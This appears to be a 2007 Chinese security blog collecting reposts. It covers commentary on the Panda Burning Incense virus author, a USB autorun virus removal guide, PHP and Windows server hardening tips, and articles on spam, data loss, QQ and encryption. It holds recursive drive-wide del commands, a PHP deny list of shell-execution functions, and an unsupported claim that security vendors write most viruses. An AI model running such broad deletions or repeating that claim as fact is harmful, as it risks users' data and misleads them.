我本不想骂人,若说厂商之间的口水之争还有“利益”二字在其中,情有可原,但厂商们对李俊本人也如此刻薄,就实在让人看不下去了。不管怎么说,李俊都是个悲剧人物,世人都希望他能够早日恢复自由,将才华发挥在正途以贡献社会,甚至有很多深受熊猫之苦的人都对其佩服有加。然而,杀毒厂商在借熊猫之风发财之后,却又在作者身陷囹圄,想戴罪立功之时落井下石,实在是让人气愤。各厂商不要以为自己的技术多么高明,真高明的话怎么会在熊猫烧香发作实验中败得一塌糊涂?更何况,大部分

病毒都出自安全厂商之手是业内共知的“潜规则”,大家的屁股都不比李俊干净多少,有什么资格来说三道四?

醉死不认酒钱 病毒作者算不算人才

李俊之所以走上今天这条路,与当前社会中不合理的“人才观”有密切关系。据李俊自述,他之前曾到各大杀毒厂商应聘,但都无果而终,有的厂商甚至连面试的机会都不给,他分析应当是自己的中专文凭拖了后腿。也许以前的李俊确实不够起眼,应聘时也没有表现出自己的能力,但李俊被捕以后,各厂商却仍然众口一词的说他“技术不高”,就难免让人想不通了。

某著名杀毒厂商副总裁曾对媒体说过这么一句话:“其实‘熊猫烧香’病毒在技术上并不是很高超的。之所以造成这么大的影响,主要是因为他的不断的升级机制让杀毒软件厂商只能跟在后面不断推出新版本才能应付。”甚至还有厂商说:“李俊的技术能力确实不强,在我们这儿顶多做个病毒测试员”。

李俊的技术到底高不高,并不是几个厂商就可以评判的。事实胜于雄辩,如果杀毒软件的技术足够高,怎么会面对熊猫只能疲于应付,甚至自身难保,被熊猫关了进程呢?有人说,李俊不过是综合利用了现成的一些技术,并没有任何创新。然而,能把现有技术综合利用到此等程度,难道还不算人才吗?更何况,现在的编程工作基本上就是搭积木而已,有几个程序员是真正“创新”的?退一万步讲,连“毫无创新”的病毒都防不住,各家杀毒软件又是个什么技术水平呢?

其实,众厂商齐贬李俊,无非是想说明自己的技术比病毒高而已。然而,大话永远是大话,绕来绕去最终把自己也绕了进去。奉劝各厂商还是踏实一点,不拘一格网罗人才,只有这样才能给用户以一个真正安全的网络环境。如果只是耍耍嘴皮,早晚会搬起熊猫砸了自己的脚。

星期二, 二月 27, 2007

双击无法打开驱动器情况下的杀毒方法

双击无法打开驱动器情况下的杀毒方法

网友博客 【转载】 作者:EricTyler

昨天将U盘插到电脑后双击无法打开,紧接着双击所有驱动器盘符都没有办法打开,试验 以后发现只有使用资源管理器可以。但终究不爽,鬼知道病毒在电脑里还干了些什么,决定彻底杀掉。

症状描述:

1.双击驱动器盘符无法打开,资源管理器可以使用

2.在开始→运行里输入cmd进入命令行模式,输入 C:回车 ,进入C盘根目录,输入 dir /a 查看所有文件,发现存在如下两个文件: Autorun.inf RavMon.exe

3.在开始→运行里输入msconfig,进入系统配置程序,选择“启动”标签,里面有一个叫做 “MDM”的项指向“C:\windows\mdm.exe”。

解决方法:

1.重新启动,开机时按F8,进入带命令行的安全模式,选择Administrator账号登陆。

2.在命令行下输入regedit进入注册表,查找"RavMon.exe",如果发现匹配项就删除(我 没有发现,这样做是保险起见)。注意RsRavMon是瑞星杀毒软件,不用删除。

3.在命令行下输入msconfig,进入系统配置程序,选择“启动”标签,将所有“MDM”项前面 的勾去掉(我删了一个还有一个,md),保存。

4.在命令行下输入以下指令: del C:\Autorun.inf /f /s /q /a del C:\RavMon.exe /f /s /q /a del D:\Autorun.inf /f /s /q /a del D:\RavMon.exe /f /s /q /a …… 有多少盘符输多少个。注意这个指令会删除根目录往下所有目录的对应文件,所以大家看 到删除了根目录下的以后马上按Ctrl+C中断。

5.重新启动,ok啦。

6.要彻底清楚,主要还是要把U盘里的毒源杀掉。我没有试别的办法,直接偷懒进Linux下 用rm删了个干净:-P。如果大家认识的人有装Linux的可以请他帮忙,个人认为这样做是最安全的。在Windows/Dos平台下怎么做还请高手出招。

说明: 1.MDM是微软的Machine Debug Manager,系统进程;病毒伪装成了mdm.exe。 2.本杀毒方法思想可用于清除类似病毒。

了解针对PHP木马程序攻击的防御之道

作者:华夏黑客同盟 来源:华夏黑客同盟

本文通过介绍一些技巧介绍了针对PHP木马攻击的防御之道,通过这些方面你可以更好的防范木马程序。

1、防止跳出web目录 首先修改httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路径。比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行: php_admin_value open_basedir /usr/local/apache/htdocs 这样,如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,如果错误显示打开的话会提示这样的错误: Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4 等等。

2、防止php木马执行webshell 打开safe_mode, 在,php.ini中设置 disable_functions= passthru,exec,shell_exec,system 二者选一即可,也可都选。

细致入微 网管员维护服务器过程反黑技巧

细致入微 网管员维护服务器过程反黑技巧

作者:网页教学网 来源:eNet硅谷动力

1.打补丁

微软的作风就是三天一小补,五天一大补,漏洞太多,补一点就好一点,使用“开始-Windows Update" 然后把所有的补丁都装进去吧

2.删除默认共享

2.1删除IPC$共享

Win2k的缺省安装很容易被攻击者取得帐号列表,即使安装了最新的Service ack也是如此。在Win2k中有一个缺省共享IPC$,并且还有诸如admin$ C$ D$等等,而IPC$允许匿名用户(即未经登录的用户)访问,利用这个缺省共享可以取得用户列表。如何防范这东东,很简单在"管理工具\本地安全策略\安全设置\本地策略\安全选项"中的"对匿名连接的额外限制"可修改为"不允许枚举SAM帐号和共享"。就可以防止大部分此类连接,但是还没完,如果使用NetHacker只要使用一个存在的帐号就又可以顺利取得所有的帐号名称。所以,我们还需要另一种方法做后盾,

(1):创建一个文件startup.cmd,内容就是以下的一行命令"net share ipc$ delete"(不包括引号)

(2):在Windows的计划任务中增加一项任务执行以上的startup.cmd,时间安排为"计算机启动时执行"。或者把这个文件放到"开始-程序-启动"中 让他一启动就删除ipc$共享

(3):重新启动服务器。

2.2删除admin$共享

修改注册表:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters增加AutoShareWks子键(REG_DWORD),键值为0

2.3清除默认磁盘共享(C$,D$等)

修改注册表:                               :HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters增加AutoShareServer子键(REG_DWORD),键值为0

3.修改默认用户名

"管理工具\本地安全策略\安全设置\本地策略\安全选项"中"重命名来宾帐户"就是把"guest"改个名字而已,改成abc或者其他名字,下面机器登陆名字也设为"abc"或其他的名字,然后再把"重命名系统管理员帐户"也改一下,有一次我闲着无聊,用小榕的流光随便扫了一下我的IP段,就发现有N家网吧服务器的管理员名称是默认的Administrator,并且是简单密码。如果有人想搞个肉机的话,实在是很简单。

至此下来,服务器已经可以很安全稳定的运行下去了,当然别忘了要一两天重启一下你的服务器。

SQL服务器安全设置

首先,关闭sql默认的1433(好象是这个吧) 就是把sql的TCP/IP协议删除就ok了,删掉后就不能是用远程了 那总归少点事情吧sa 设密码设的密码为数字加字母等, 不用我多说了吧administrator 别忘了设密码。

在tcp/ip协议里关掉所有的无用端口

本地连接状态 --属性--tcp/ip协议--高级--选项--tcp/ip筛选 --只允许 tcp端口

开80(网站端口)

开21(ftp端口--可开可不开)

55019(奇迹私服端口)

44405(奇迹私服端口)

以上是针对无路由的使用服务器直接对外的情况。

使用路由的情况见下

映射以下端口就OK了

开80(网站端口)

开21(ftp端口--可开可不开)

55019(奇迹私服端口)

44405(奇迹私服端口)

当然,上面的你也要设一设哦

再来就是asp的安全问题了

请使用fishserver这套工具

就不存在是用asp漏洞改你数据了

这套工具在 梦之奇迹1.05里有非常方便设置.

调查显示数据丢失成企业主要安全威胁

作者:迈克菲 来源:赛迪网

迈克菲公司,2月26日,北京讯:全球入侵防护和风险管理解决方案的领导者迈克菲(McAfee)公司近期宣布一项调查结果,结果显示大部分的美国公司都在加大技术和策略的投资,以确保敏感数据不会被攻击,而且员工手中数据丢失的威胁必须引起公司的关注。此次调查涉及了员工人数至少在200人以上企业的300名员工。超过三分之二受访者所在的组织人数超过了1000人。

调查显示,大部分的美国公司正在建立预防数据丢失的企业策略,其中,84%的受访者表示他们的公司拥有处理敏感数据的正规策略。然而,此次调查还显示,许多员工都忘记了这些策略。比如,21%的受访者承认曾经把机密或敏感文档遗忘在打印机上;22%的受访者表示有时曾把自己存放文件的移动存储设备借给其它同事。

另外,此次调查发现:

 84%的受访者表示他们的公司拥护有处理敏感数据的正规策略,然而,69%的受访者表示,他们会把文件毁掉;47%的人表示会把文件保护起来;51%的人会用密码来管理这些文件。然而:

 26%的受访者表示在用完机密或敏感文档的时候,并没有毁掉它们

 21%的受访者承认曾经把机密或敏感文档遗忘在打印机上

 80%的受访者表示他们曾经使用电子邮件向外传送客户数据,而且:

 23%的人表示曾经利用基于Web的邮件系统,向外部传送数据

 38%的受访者表示每周会利用便携设备把10个公司文档带出办公室,比如,笔记本电脑、USB存储以及光盘:

%的受访者表示,曾经把存放工作文档的便携设备提供给同事。

根据非赢利组织美国隐私权信息交流中心(Privacy Rights Clearinghouse) 的统计,自2005年2月起,已经有超过1个亿包含美国公民个人敏感信息的数据受到安全问题的影响,而遭泄露。数据泄露除了可能毁坏公司的声誉之外,泄露客户或企业数据可能会招致法律问题。

对企业安全的威胁常常被认为来自企业内部。企业通常在安全技术上花费巨资,以便阻止入侵者、病毒、木马、蠕虫、逻辑炸弹以及有害的计算机代码进入企业网络。企业所部署的产品包括防病毒、防垃圾邮件、防火墙以及入侵防护系统。然而,当大多数的企业扫描进入企业网络的电子邮件,查看是否有非正常内容的时候,许多人却忘记检查他们内部或向外发送的电子邮件,特别是允许未授权的数据在企业内部或向外部传送。

员工使用便携设备越来越普及,对于数字资产的完整性和安全性也是一个挑战。企业的笔记本电脑、USB存储设备、移动电话和MP3数码设备能够非常轻松地把几千个文档传送到企业外部,但是,IT部门却没有控制这些设备。

迈克菲全球产品营销总监Vimal Solanki说:“数据丢失已经成为企业在2007年所面临的最大安全挑战之一。几乎所有企业的数据都以电子文档的形式存在,所以,企业员工手上的数据丢失已经成为严重的威胁。企业必须采用基本的风险管理战略,创建策略和利用相应的技术来保护数据。很明显,仅仅把策略与技术用于防范外部威胁已经不能预防数据丢失。员工手上的敏感数据能够轻松地被毁坏。”

全面了解各种反垃圾邮件的解决方案

作者:korn 来源:赛迪网技术社区

自2000年后,互联网技术飞速发展,邮件技术已经逐步成为了现代社会最重要的沟通工具之一。然而,予生俱来的是垃圾邮件对邮件用户的侵扰;到2006年末,这种侵扰已经成为公认的最大的互联网应用威胁之一。有许多数字让人触目惊心:每天全球产生的垃圾邮件达1000封;用户收到的邮件之中,有94%是垃圾邮件;美国、中国是全世界最大的两个垃圾邮件生产国家和消费国;中国网民每周收到的垃圾邮件数平均达到了19.4封。这些垃圾邮件充斥着各种非请求的商业广告、色情与反动内容、政治敏感话题传播、甚至计算机病毒与恶意代码,给我们正常的邮件收发增加困难,使企业的网络与邮件资源被恶意浪费,甚至有可能对组织与个人的硬件资产遭受入侵、破坏等损失。垃圾邮件最新的形式是钓鱼邮件,Spammer通过传播类似银行及会员机构邮件的方式,来骗去用户的用户名和密码,直接获取非法利益;而有些则通过恶意代码控制计算机,使网络用户的计算机变成Zombie PC,利用这些PC来发送大量广告等垃圾邮件以获取商业价值。可以说,反垃圾邮件的斗争以及到了白热化的程度。

中国的反垃圾邮件技术研究几乎和国外同步,但产品化进程比较慢,基本上到2003年后才有初步能够应用的专业级产品与系统方案。在国际上,有两大开源社区比较权威,目前世界上大部分垃圾邮件的核心技术都来源这两个社区,一个是著名的SpamAssassin,一个是,Razor。而中国目前还没有形成比较成规模的反垃圾邮件技术开源社区。在技术上,特别是产品结构上都借鉴这些著名的先行者。

说到反垃圾邮件的技术方案,一般有三种类型的解决方案。

第一种是初级的用户级客户端方案。

大部分人都认为客户端方案效果不好,这里面其实有个误区,很多说法是包含了商业利益在里面的,所以就不能够客观的评价。客户端方案,有些人就认为是Foxmail、Outlook之类的邮件客户端自带的简单的黑白名单判别垃圾邮件功能,其实这是有误的。真正的客户端方案,不仅包含这些黑白名单功能,也包括其他类型方案一样的一些手段,象实时RBL、指纹检查、信任网络、甚至包含内容过滤等技术,由于它服务的对象是“客户端个人用户”,没有关注邮件服务器而已,然后它仍然是专业级别的反垃圾邮件防方案。关键是,需要找到专业的产品,而且这种方案在50人以下应用环境时具有很好的经济价值,在超过50人的应用环境下,这种方案就没有其他的方案更具竞争力。代表产品是全球知名的反垃圾邮件技术公司Cloudmark公司的个人版反垃圾邮件产品。

第二类技术方案是反垃圾邮件网关方案。

这种方案是目前应用最广泛,也是应用最简便的企业级反垃圾邮件方案。这种方案是各种反垃圾邮件技术综合到一台设备或者软件系统当中去,放在邮件服务器的前端,对进出邮件系统的所有邮件进行过滤、审查,对违反规则或者具有明显垃圾邮件特征的邮件予以处置。 网关型的反垃圾邮件方案,其形态可以是专用硬件产品,也可能是软件形式。需要特别强调的是,传统上认为硬件产品比软件产品好,这种认识也是有很大偏差的,需要差别的看:如果反垃圾邮件网关软件能够与邮件系统实现真正意义上的无缝结合的化,是能够大大提升系统的整体性能的,而不是象部分商业公司宣称的那样,硬件产品一定是最好的;原因很简单: 这中间节省了两个计算环节(反垃圾邮件系统在将邮件系统解包检后,可以不用打包就可以直接转给邮件系统接受;而邮件系统不需要先对邮件进行解包,就可以直接接受--减少动作,就意味着性能的提高)。

网关方案做为最主要的企业级反垃圾邮件方案,因各商业和研究机构的技术路线不同,主要有3种:

(1)基于经验规则和内容检查技术的技术路线。这类反垃圾邮件网关,以内容检查为主,主要的检查手段包括关键字过滤、贝叶斯过滤、基于规则的评分系统、邮件指纹检查、黑白名单技术、速率控制等等。需要的是提取样本、提取内容特征等信息,来检查与过滤垃圾邮件。代表的产品是梭子鱼反垃圾邮件系统。 需要注意的是,这类产品大多数需要进行大量的内容检查计算,对产品的系统结构和硬件平台的系统资源要求比较,性能峰值不是很高,特别是部分产品是用pear编写的,程序的限制,使得性能成为其最主要的瓶颈。 这点用户在选择时是需要关注的,选型时尽量采用高一点的型号,以应对突然的邮件高峰。

(2)智能行为识别技术路线。由于认识到基于规则与内容技术路线在性能上的局限性,有部分技术人士摈弃了内容检查,而是将产品方案的主要检查手段放在了邮件的协议分析。 这类技术通过总结和分析垃圾邮件发送者的各种共性行为,比如用客户端群发软件发送、高频率发送、Dns伪装、IP欺骗等等方法,解析出这些“垃圾行为”的特征并形成规则,用这写规则来判别一封邮件是否合法。这类技术,同时包括了众多的邮件合规性认证机制;同时也包含了部分杀病毒等内容层技术。 同样需要大家注意的是,这类技术针对的是大规模的、以群发为特征的垃圾邮件,而针对单个、无规律的、甚至是合法来源发送非法内容的邮件,没有很好的解决方案。因为它不强调内容检查,而对对垃圾邮件判定最重要的标准是“内容”非法! 但,这种技术已经能够拒绝大部分垃圾邮件了,因为绝大部分垃圾邮件确实是通过群发的方式产生的。 这类产品的代表厂商是敏讯科技,以及来自台湾的硕奇公司反垃圾邮件产品(该公司更宣称完全运用行为识别技术来反垃圾邮件)。

(3)混合模式路线。这种技术路线强调过程化处理技术,利用过程化处理技术整合各种反垃圾邮件技术,既包括基于协议分析的智能行为识别,也包括基于规则与内容检查的模式对比路线。反垃圾邮件网关在智能过程化处理平台的控制下,有次序的让邮件接受各个层次的合规性检查与内容检查。综合应用行为识别技术,在协议层对TCP/IP进行分析规范发件连接行为、在SMTP层对邮件从Hello、Auth、From、To、Data等各个层次进行合规性检查,对违发正常规则的邮件进行重点分析,对明显的群发行为予以处置。而内容检查阶段,也是严格按照“过程”来进行的,病毒查杀、用户级黑白名单、关键字、贝叶斯过滤、指纹检查、以及其他的基于内容检查的技术。 这类网关的设计架构比较好,“过程化”的处理办法,让大量的垃圾邮件在“前端”就被过滤掉,而在内容阶段系统的工作量非常的少,能够大幅度的提升系统的整体工作性能和垃圾处理能力。 这类产品的代表是Commontouch反垃圾引擎,以及智海华程CyanFilter反垃圾邮件引擎。 他们共同的特点是过程化处置,都拥有自己核心的反垃圾邮件引擎。Coummontouch的反垃圾引擎采用实时检查技术,轮回检查信任网络;而CyanFilter反垃圾邮件引擎则包含了中文分词、特征进化引擎技术等等,使得青莲Cyanlotus反垃圾网关更具有强大的中文垃圾能力。 另外,Cloudmark公司的电信级反垃圾邮件网关也同样拥有这中能力,其基因算法与全球最大“可信任用户网络”更是无与伦比。

第三类是ASP反垃圾邮件服务方案

这种方案主要针对用户数量少于500人的中小企业环境。反垃圾邮件服务提供商首先建立一个反垃圾邮件服务中心,这个中心的系统拥有同时向多域、多服务器提供反垃圾服务的能力。用户在购买了反垃圾邮件服务后,将自己邮件地址的MX记录指向该服务中心,该服务中心同时添加该用户域名,这样用户的邮件在到达用户的邮件系统(不管是购买的空间的方式,还是有独立服务器)前,首先达到ASP反垃圾邮件服务中心进行过滤检查,达到净化垃圾的目的。这种方案比较经济、不受地域和部署方式的限制。 但,目前为止,国内还没有实际投入运营的反垃圾邮件ASP出现。

用户,不管是个人用户还是企业级用户,在选择反垃圾邮件方案时,都需要认真考虑一下几个因素:

(1)经济性。个人用户和数量比较少的企业,可以选择采用专业客户端或者ASP反垃圾邮件服务的解决方案,既节省投资也具有同样的反垃圾效果,而且免去了后期维护之类。

(2)反垃圾系统的反垃圾效果。对反垃圾系统效果的评价一般包括垃圾邮件识别率、漏报率,同时更需要关注垃圾邮件误报率,特别是将正常邮件判别为垃圾邮件的“假阳性”误报问题,这是反垃圾邮件系统的最关键的参考因素。我们可以容忍一天收到若干垃圾邮件(当然是数量不多的情况下),但所有人都不能忍受有正常的邮件被错误的判定为“垃圾”而遭受“丢弃”!而评价反垃圾邮件系统反垃圾效果的方法,就是实际试用! 因为每个用户受的垃圾邮件类别是不一样的,有的用户垃圾邮件主要是英文垃圾、有的是中文垃圾、有的是图片的、有的则是广告文字的、还有的是钓鱼类的、而有的则是以病毒垃圾为住。不同的垃圾邮件特征,需要采用不同的反垃圾邮件产品方案:如英文垃圾多,则我们可以首选国外专业产品;如果中文垃圾多,则首先要考虑国内的,特别是有中文分词技术(由于中、日、韩三国语言的双字节及不分词的特殊性,一般反垃圾产品能难有效应对);而对病毒垃圾多的,则可以考虑主要由杀病毒公司提供的反垃圾邮件产品。

(3)注重系统的整体性能。反垃圾邮件产品,如果性能不过关,随着业务的增长和垃圾邮件泛滥问题的日益严重,可能会有很大问题,另外性能问题有可能会影响我们正常的邮件收发效率;由于产品在设计和硬件配置上的缺陷(特别是产品结构与设计语言的缺陷),导致邮件堵塞、溢出、正常邮件丢失、系统瘫痪等等,将会使我们损失惨重!

(4)管理简便与灵活性。一般来讲,灵活性与简便的要求是矛盾。我们的原则是,逐步减少网管人员和用户的工作量,同时又给予网管和用户最大限度的个性化需求。如每个用户都应该拥有自己的个性化黑白名单、自己个性化的关键字过滤策略等等,以使得我们反垃圾邮件系统更具有针对性和效率。选择产品时,一般要考虑web管理、参数设置简单、管理维护工作量少、拥有智能(特别是有自学习能力)的产品。同时,产品的升级要及时,特别是病毒库的升级。

综合以上的一些所述,用户在进行反垃圾邮件工作时,要全面了解各种反垃圾邮件方案与自己的实际需要想对应的程度,我们不能一味的听**厂家或者组织宣称自己是最好的和唯一好的解决方案,最好与最合适只有我们自己说了算。 品牌和市场保有量在中国没有参考意义(大部分品牌都是通过大量的宣传得来的,而中国用户是出名的“随大众,爱面子”),建议的做法是“试用”用实际效果说话!特殊的,在中国反垃圾,首先要把重点放在“中文”垃圾上、图片垃圾、钓鱼垃圾上! 同时,还要看该反垃圾方案是否具有完备的“挽回”机制,有全面的日志包括垃圾邮件日志、阻断邮件日志(大部分产品没有此功能)、病毒邮件日志以及收发的正常邮件日志。

反垃圾邮件是一件任重道远的事业,需要我们大家的共同努力。

星期一, 二月 26, 2007

腾讯QQ 居安也不能不思危

腾讯QQ 居安也不能不思危

eNet特约评论 长期以来,笔者一直是腾讯QQ的忠实用户。期间虽然也曾“移情别恋”,尝试过雅虎通、MSN、Gtalk等IM,但使用最频繁、持续时间最长的还是QQ。QQ带给我的不仅是友情、亲情的沟通,它更带给我一种全新的咨询信息和虚拟生活方式,每天都要“QQ一下”已成为我和我身边许多的人一种习惯。
  日前,一件意外发生的事故,令我对QQ平添了些许喜爱,也多了几份忧虑。由于工作需要,笔者每天都通过QQ与网站编辑交流选题,互通咨询。而这一切,却在阴历小年的下午被定格了。QQ反复登陆,总是无法上线,提示信息为“密码错误”。经过一番折腾,笔者最终确信:QQ密码被盗。

  于是,笔者及时“报警”,向腾讯QQ客服中心提交了申诉信息,并在急切等待着找回失去的密码。

  密码被盗,笔者已有两天无法使用QQ。心焚如急,自然倍感QQ之重要。尽管QQ是身外之物,但它仿佛与我浑然一体,真的分开了,个种滋味涌上心头。

  或许,明天一切都会好起来,因为腾讯QQ客服中心的回复是“三个工作内日内解决故障”。其实,笔者身上发生的问题,已在QQ用户中间司空见惯。但正所谓爱之愈深,狠之愈深。由密码被盗,笔者想举一反三,给腾讯QQ的现在和明天“泼一点冷水”。

  从用户数量上来讲,QQ在中国IM市场占绝对统治地位。据最新统计数据显示,QQ注册用户数已超过了5.3亿,同时最高在线人数突破l950万,占有率高达为77.80%。如此庞大的用户群体,自然使QQ无鱼得水,在IM市场呼风唤雨,无人能敌。但是,在这数字的背后,IM市场也是暗流涌动,QQ存在远虑。因为QQ绝大多数的用户是年轻用户,特别是以学生居多。在高端市场,QQ用户廖廖,微软MSN仍高居其位。2006年6月,微软LIVE终于以全新的形象进入中国市场,由于业务调整,LIVE的稳定性有些波动,影响了用户的增长,但很快LIVE就步入正轨,作为白领、精英在即时通讯产品中的首选地位没有发生变化。另外,王志东高调出山,携WEB2.0的新理念,推出lava-lava软件,加入市场竞争。

  QQ以数量取胜,但始终没能突破瓶颈,在高端用户中间打开一个缺口,实现质的飞跃。不久前,由台湾地震引发的两次断网事件,令MSN、雅虎通等用户被迫倒戈,投入QQ怀抱。对于QQ,这是一次幸运的机会,绝非是“不战而服人之兵”。近日,业内传QQ存在与微软新版Vista系统不兼容问题,而QQ也证实确有其事,并正在进行修复。这就是一个危险的信号,如果这类问题一而再,再而三地发生在QQ身上,很难说忠实的用户不会倒戈,投入竞争对手怀抱。

  从服务上讲,QQ的进步也是有目共睹。随着用户数量的剧增,QQ并没有陷入无序和忙乱,也没有出现业界猜测的服务滞后的明显问题。从一开始的弹出式广告的满天飞,到后来的有条不紊,QQ给业界的印象是越发成熟,服务更为周到。但是,从笔者的体验感觉来看,QQ的客户服务仍需提升。面对微软与雅虎的互通,面对live的全新服务“组合拳”,QQ需要做的还很多,很多。为了能及时解决问题,昨天,笔者一直不停地拨打QQ客户服务热线:0755-83765566(24小时全天候为您服务),但却始终未能成功,听到的不是占线声,就是无人应打。面对如此众多的用户群体,仅凭一部热线,似乎无法做到“以人为本”,急用户之急,想用户之所想。鉴于QQ用户的分布状况,笔者建议腾讯设立多个地区性客户中心,提高处理客户投诉的时效性和应急反应速度,最好能把三天解决的问题缩短到24小时内解决。因为夜长梦多,如果用户QQ密码被盗,而修复时间过长,用户信息被删除或是被修改的机率就会大大增大。反应时间太长,不利于真正维护客户利益,也不利于QQ服务形象的进一步提升。

  在将来IM的竞争中,IM软件本身将不是竞争的重点,竞争的重心都迁移到围绕IM所产生的扩展功能及服务上,这些扩展的功能及服务将会决定用户的流向。因此,笔者建议,腾讯QQ应加强市场研究,关注对手、模仿对手,向对手学习,以其人之道,还制其人彼身,这样一来如能保持其原现有用户不流失,腾讯就能继续稳座第一把交椅。

  另外,从安全方面讲,QQ的保护措施也是在不断提升。笔者明显感到,使用QQ时收到的不明信息越来越少,而陌生用户要想“不请自入”也是难上加难。特别是密码保护功能的加入,使用户的IM安全系数大大提升,解除了QQ使用过程中最大的难题。但是,道高一尺,魔高一丈。IM已成为目前木马病毒、蠕虫等攻击的重点目标,黑客团伙对QQ的攻击也从“暗偷”转为“明抢”。据瑞星公司发布的《2006年度中国大陆地区电脑病毒疫情&互联网安全报告》显示,针对QQ等虚拟财产停止的病毒攻击活动占到2006年总病毒数量的71.47%,在2006年十大病毒排行榜中,专门针对QQ的QQ通行证(Trojan.PSW.QQPass)赫然上榜,令我们对QQ今后的安全更为担忧。要知道,现在的QQ,不再是一款单纯的IM工具,而正在成为一款集成QQ加油站、社区经典、手机绑定QQ、短信超人、超级QQ等多项服务功能的虚拟平台,成为现代人的一种生活和工作模式。因此,QQ的安全,也就不再是一款IM工具的安全,已成为新人类工作和生活的安全。QQ要想继续执IM市场牛耳,就必须在安全功能上有过人之处,拿出看家本领,全方位地保护人们的工作和生活免受侵害。

  居安而思危,QQ才能在众多对手虎视眈眈的IM市场引领航向,继续稳操胜券,才能继续捍卫民族品牌的尊严。但愿,这是笔者碰到的最后一次密码被盗事件。

“僵尸时代”来临李俊熊猫烧香专杀失效

“僵尸时代”来临李俊熊猫烧香专杀失效

作者:小心黑夜 来源:黑软基地

情人节前夕,湖北警方宣布“熊猫烧香”案破获,随着八位病毒制作者的落网,我们似乎感觉到“熊猫烧香”时代已经宣告终结,病毒带给我们的恶梦成功地结束在了春节前。2月14日,门户网站开始放出由“熊猫烧香”作者李俊所写的专杀工具,为验证其有效性,笔者开始对这个专杀工具进行测试,但是发现收集到的5个熊猫烧香变种样本竟然一个都没有被杀掉,这个结果使笔者大跌眼镜,“官方”专杀工具尚且如此,其他专杀工具岂不更甚?

补充说明下:国内安全软件提供商瑞星和金山相关负责人向网易科技证实,目前所有公司推出的“熊猫烧香”专杀工具,都无法完全清除其所有的变种。

带着这些疑问,笔者下载了市场上9种主流专杀工具开始测试,果然发现了其中存在的问题,正是这个问题造成了“熊猫烧香”无法斩尽杀绝,使我们在暂时的胜利后又要面临新的“熊猫僵尸”时代。

测试过程如下:

1.从网站下载最新“熊猫烧香”专杀工具,其中李俊的专杀工具是2月14日最新推出的,而其它8个目前使用范围最广的专杀工具:

A-李俊的熊猫烧香专杀工具.exe

目前该链接已经取消

B-赛门铁克的FixFujacks.exe

下载地址:http://dl00.x.baidu.com/x/20060915shadu/FixFujacks.exe

C-江民的VikingKiller.exe

下载地址:http://download.jiangmin.info/jmsoft/VikingKiller.exe

D-瑞星的NimayaKiller.scr

下载地址:it.rising.com.cn/Channels/Service/2006-11/1163505486d38734.shtml>http://it.rising.com.cn/Channels ... 3505486d38734.shtml

E-金山的DuBaTool_WhBoy.BAT

下载地址:http://www.xiongmaoshaoxiang.com

F-安博士的dellboy.com

下载地址:http://www.ahn.com.cn/download/dellboy.com

G-中网的kill_panda.bat

下载地址:http://bbs.netchina.com.cn/viewtopic.php?t=64

H-安天的KillPP.scr

下载地址:http://www.antiy.com/download/KillPP.bat

I-超级巡警的PandaKiller.bat

下载地址:http://61.235.71.100/pandakiller.zip

2.在每次测试开始前解压缩5个病毒样本

3.检查专杀工具本身是否会被病毒感染

4.每次使用一个专杀工具进行查杀

5.记录检查结果

通过测试,笔者发现专杀工具对变种查杀的能力良莠不齐,尤其对于“熊猫僵尸”这种没有运行入口的变种病毒文件查杀更是困难。此外有些专杀工具使用exe作为文件扩展名,这些文件在已经染毒的计算机上下载后会马上被修改,导致专杀工具自身无法运行。

星期日, 二月 25, 2007

网络中最基本的安全技术:数据加密技术

作者:kerry 来源:赛迪网

数据加密是实现网络安全的关键技术之一,本文首先介绍加密的基本概念,然后着重讨论两类最常见的加密技术:私用密钥加密和公开密钥加密,并详细探讨了它们的特点、发展及今后的研究方向。

加密算法

由于Internet的快速发展,网络安全问题日益受到人们的重视。面临计算机网络存在的潜在威胁与攻击,一个计算机网络安全管理者要为自己所管辖的网络建造起强大、安全的保护手段,可以通过以下六个安全层次完成:即修补和阻止网络漏洞,加密,认证,防火墙,安全协议和法律事务。

数据加密技术是网络中最基本的安全技术,主要是通过对网络中传输的信息进行数据加密来保障其安全性,这是一种主动安全防御策略,用很小的代价即可为信息提供相当大的安全保护。

一、加密的基本概念

"加密",是一种限制对网络上传输数据的访问权的技术。原始数据(也称为明文,plaintext)被加密设备(硬件或软件)和密钥加密而产生的经过编码的数据称为密文(ciphertext)。将密文还原为原始明文的过程称为解密,它是加密的反向处理,但解密者必须利用相同类型的加密设备和密钥对密文进行解密。

加密的基本功能包括:

1. 防止不速之客查看机密的数据文件;

2. 防止机密数据被泄露或篡改;

3. 防止特权用户(如系统管理员)查看私人数据文件;

4. 使入侵者不能轻易地查找一个系统的文件。

数据加密是确保计算机网络安全的一种重要机制,虽然由于成本、技术和管理上的复杂性等原因,目前尚未在网络中普及,但数据加密的确是实现分布式系统和网络环境下数据安全的重要手段之一。

数据加密可在网络OSI七层协议的多层上实现、所以从加密技术应用的逻辑位置看,有三种方式:

①链路加密:通常把网络层以下的加密叫链路加密,主要用于保护通信节点间传输的数据,加解密由置于线路上的密码设备实现。根据传递的数据的同步方式又可分为同步通信加密和异步通信加密两种,同步通信加密又包含字节同步通信加密和位同步通信加密。

②节点加密:是对链路加密的改进。在协议传输层上进行加密,主要是对源节点和目标节点之间传输数据进行加密保护,与链路加密类似.只是加密算法要结合在依附于节点的加密模件中,克服了链路加密在节点处易遭非法存取的缺点。

③端对端加密:网络层以上的加密称为端对端加密。是面向网络层主体。对应用层的数据信息进行加密,易于用软件实现,且成本低,但密钥管理问题困难,主要适合大型网络系统中信息在多个发方和收方之间传输的情况。

二、加密技术及其相关问题

1.加密的分类

加密类型可以简单地分为三种:

1. 根本不考虑解密问题;

2. 私用密钥加密技术;

3. 公开密钥加密技术。

第一种加密技术主要是针对一些像口令加密这样的类型,它只需要被加密,并与以前的加密进行比较;第二种和第三种加密技术是按如何使用密钥上的不同来划分的。以下主要介绍第二种和第三种加密技术。

(1)私用密钥加密技术

